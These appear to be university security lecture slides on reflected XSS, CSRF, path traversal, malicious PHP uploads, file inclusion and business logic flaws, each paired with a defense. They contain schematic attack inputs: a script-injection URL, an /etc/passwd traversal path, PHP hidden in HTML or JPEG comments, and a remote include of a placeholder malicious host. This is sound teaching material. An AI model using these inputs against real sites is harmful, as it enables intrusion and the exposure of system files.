Reflected XSS
Cross-Site Request Forgery
Other Attacks

CS 166: Introduction to Computer Systems Security
Reflected XSS
Recap of Persistent XSS

Attacker
- submits malicious script into form
- requests page
- receives page with malicious script

Server
- stores malicious script into page

Victim
Another XSS Attack

- Mallory (attacker) finds that Bob (web server) is vulnerable to XSS via a GET variable
- She crafts a URL that includes a malicious script in the variable
- She tricks Alice (web client) to go to this URL (e.g., phishing)
- The malicious script is executed by Alice

- E.g., Bob embeds in the page a search term
  http://example.com/search.php?query=CS166
- Search results for CS166 ...
- ... ?query=\<script\>doEvil</script>
Reflected XSS

Attacker

Victim

Server

Attacker sends URL with malicious script.

Victim clicks on URL.

Server builds page that includes malicious script.

Victim receives page with malicious script.
Cross-Site Request Forgery
Cross-Site Request Forgery (CSRF)

- Attacker’s site has script that redirects and issues a request on target site

- If user is already logged in on target site …
- Request is executed by target site on behalf of user
  - E.g., funds are transferred from the user to the attacker
CSRF Trust Relationship

- Server trusts victim (login)
- Victim trusts attacker
- Attacker could be a hacked legitimate site
Login CSRF

- Attacker’s site includes link or form that logs in victim on target site with attacker’s account
- Subsequent victim’s interaction with target site is shared with attacker
  - Navigation in target site
  - Data supplied to target site
  - ...

2/22/18
CSRF Server-Side Defenses

• Synchronizer token
  – Random token embedded by server in all HTML forms and verified by server
  – CSRF request rejected because attacker cannot guess token

• Custom HTTP header
  – Custom HTTP headers can be sent only via JavaScript
  – JavaScript is subject to same-origin policy
  – Site supports state-changing HTTP requests via JavaScript
  – Server drops requests submitted without a custom HTTP header
Improper Path Sanitization
Improper Path Sanitization

• Problem: only some paths are valid; which ones?
• Improper path sanitization can lead to disallowed resources being accessed
• What sorts of resources/paths might we want to make off-limits?
Improper Path Sanitization

• What sorts of resources/paths might we want to make off-limits?
  – Configuration files (e.g., Apache’s `.htaccess`)
  – Files outside the web root
  – Files outside the upload directory
  – Possibly more ...
Blacklists

• Attempt #1: Blacklists
  – e.g., “/foo/bar is off limits”

• What’s wrong with this?
  – Multiple paths can refer to the same resource
    – /foo/bar
    – /foo//bar
    – /foo/../foo/bar
    – /foo/bar/baz/..
Blacklists

• Attempt #1: Blacklists
  – e.g., “/foo/bar is off limits”

• What’s wrong with this?
  – What about paths outside the web root?
  – /../../etc/passwd
  – Becomes /var/www/../../../etc/passwd
  – (e.g., /etc/passwd)
Whitelists

• Attempt #2: Whitelists
  – e.g., “only /foo/bar or /baz/blah are allowed”

• What’s wrong with this?
  – How to keep the whitelist up to date?
  – How to be nice to users
    • e.g., /foo//bar is really /foo/bar
Parse Paths

• Attempt #3: Parse paths
  – e.g., determine that `foo.com/bar` doesn’t escape web root

• What’s wrong with this?
  – Correct parsing is `hard`
Solution

- When possible, use existing implementations
  - Apache does this correctly - use it
- For custom logic, don’t use paths
  - Store data in databases
  - Don’t use subfolders
    - e.g., /var/uploads
    - filter bad characters (/, \0) or bad path components (.., .)
File Upload
File Upload

• Several websites support file upload
  – E.g., homework submission
• Apache’s PHP plugin executes requested *.php files
• What the upload directory is inside the web root?
  – e.g., /var/www/upload
• Upload evil.php
• Visit foo.com/upload/evil.php
Disallow PHP File Uploads

Attempt #1: Disallow *.php files

• What could go wrong?
  – What if I want to upload a PHP file?
  – Not sufficient for some configurations ...
Embedded PHP

<!-- date.html -->
<html>
<head><title>My Page</title></head>
<body>
  <p>Date: <?php echo date(); ?></p>
</body>
</html>
Circumvention

Upload foo.html:

```html
<html>
  <?php do_bad_thing(); ?>
</html>
```
Disallow PHP and HTML File Uploads

Attempt #2: Disallow *.php and *.html files
- For example, allow only *.jpg and *.pdf
- What could go wrong?
  - JPEG supports comments, so embed PHP in JPEG comment field
  - Even if it didn’t, we could still craft the right pixel sequences:
    \x3C\x3F\x70\x68\x70 - <?php \x3F\x3E - ?>
Solution

• Solution: don’t serve files directly
• Bad: foo.com/upload/foo.pdf
• Implement custom logic in get.php
• Don’t allow access to upload directory
  – Store outside of web root
  – If that’s not possible, use .htaccess or similar
File Inclusion
File Inclusion

- PHP (and other languages) allow dynamic includes

```php
include('lib.php');
```

- Imagine a site with dynamically-generated includes:

```php
lang = $_GET['lang'];
include($lang . '.php');
```

- What could go wrong?
File Inclusion

• Let’s say there’s an **add-user.php**
  – Only included after authentication as admin
  – Can’t load directly `foo.com/add-user.php`
• Visit
  `foo.com/blah.php?lang=add-user&user=mallory&pass=6666`
• Makes the include:
  ```
  include('add-user.php');
  ```
File Inclusion

• Many PHP functions treat paths as being file paths or URLs...
• What could go wrong?
• Makes the include:
  \texttt{include(‘http://mal.com/mal.php’);}
Solution

• If you need to dynamically include files, keep a pre-set list, e.g.,

```php
lang_files = array(
    'en-US' => 'en-us.php',
    'en-GB' => 'en-gb.php',
    'en-l337' => 'en-l337.php');
```
Business Logic Flaws
Business Logic Flaws

• “Business logic” is the high-level logic behind a web application’s functionality
  – E.g., “A user must pay before having an item shipped to them”
• Flaws in the implementation of this logic (or flaws in the logic itself) can be serious
• Often come from a mismatch between developer assumptions and reality
Cheating on Bulk Discounts

• Site offers bulk discounts on group of items
• When a new item is added to the cart, if a bulk discount applies, the prices of all items are lowered appropriately
• What could go wrong?
  • Add many items to the cart, lowering prices
  • Delete most of them, check out with a cheap item
Proceeding to Checkout

• In a shopping cart application, when checking out, user is directed through a series of pages:
  – From cart, click “checkout” button
  – Redirected to page to enter payment details
  – If payment verifies, redirected to shipping details
  – After shipping details verified, order is complete

• What could go wrong?
• Go directly to shipping details, skip payment
What We Have Learned

- Reflected XSS, where the injected malicious script is placed in a dynamically generated page by the vulnerable server
- Cross-Site Request Forgery, which submits a GET or POST to vulnerable server where the victim is logged in
- Various other server vulnerabilities
  - Improper path sanitization
  - File upload
  - File inclusion
  - Business logic flaws